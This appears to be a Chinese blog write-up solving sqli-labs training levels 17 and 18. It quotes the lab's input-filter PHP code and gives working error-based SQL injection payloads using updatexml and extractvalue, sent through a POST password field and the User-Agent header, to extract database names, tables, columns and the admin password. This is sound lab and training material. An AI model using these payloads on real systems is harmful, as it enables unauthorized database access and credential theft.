2020.4.7 sqli-labs 第十七、十八关

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

单引号报错型, 注释符可用2020.4.7 sqli-labs 第十七、十八关_第1张图片
显然,这里对uname做了check_input的处理,check_input()函数如下

看看是如何处理的

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}
 
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}
 
		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

只截取15个字符

get_magic_quotes_gpc()

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

在magic_quotes_gpc = On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

stripslashes()删除由 addslashes() 函数添加的反斜杠

ctype_digit()判断是不是数字,是数字就返回true,否则返回false

mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

intval() 整型转换

做了这么多花里胡哨的过滤,你怎么没对password也搞一次?
针对password爆破:
使用updatexml(),它和extractvaule()是亲兄弟,以下测试version()返回mysql版本:
2020.4.7 sqli-labs 第十七、十八关_第2张图片爆数据库:

' and updatexml(1,concat(0x7e,database(),0x7e),0) --+

2020.4.7 sqli-labs 第十七、十八关_第3张图片爆表payload


uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --+ &submit=Submit

2020.4.7 sqli-labs 第十七、十八关_第4张图片爆列名payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

2020.4.7 sqli-labs 第十七、十八关_第5张图片爆值payload

使用 :uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

2020.4.7 sqli-labs 第十七、十八关_第6张图片

加一层select试试,

uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,(select password from (select password from users where username=‘admin’))),1) --+ &submit=Submit

2020.4.7 sqli-labs 第十七、十八关_第7张图片查了一下加个名,就完事了

最终payload:

uname=admin&passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

报错型,单引号,user-agent型注入点。
2020.4.7 sqli-labs 第十七、十八关_第8张图片看到user-agent的回显,猜测注入点在user-agnet,可以直接测试,但是我去看看php文件吧:

2020.4.7 sqli-labs 第十七、十八关_第9张图片上一题还说passwrod没做check,这题就做了,

2020.4.7 sqli-labs 第十七、十八关_第10张图片又看到 insert语句,他把user-agent插入到了数据库,所以可以从这里下手,而且看的出来是单引号型,接下来开始爆破。

抓包修改user-agent为一下payload就可以了。

测试爆库payload

 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

同样也可以用updatexml:

' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '
 

2020.4.7 sqli-labs 第十七、十八关_第11张图片其余步骤和17关相似!!!

你可能感兴趣的:(web安全)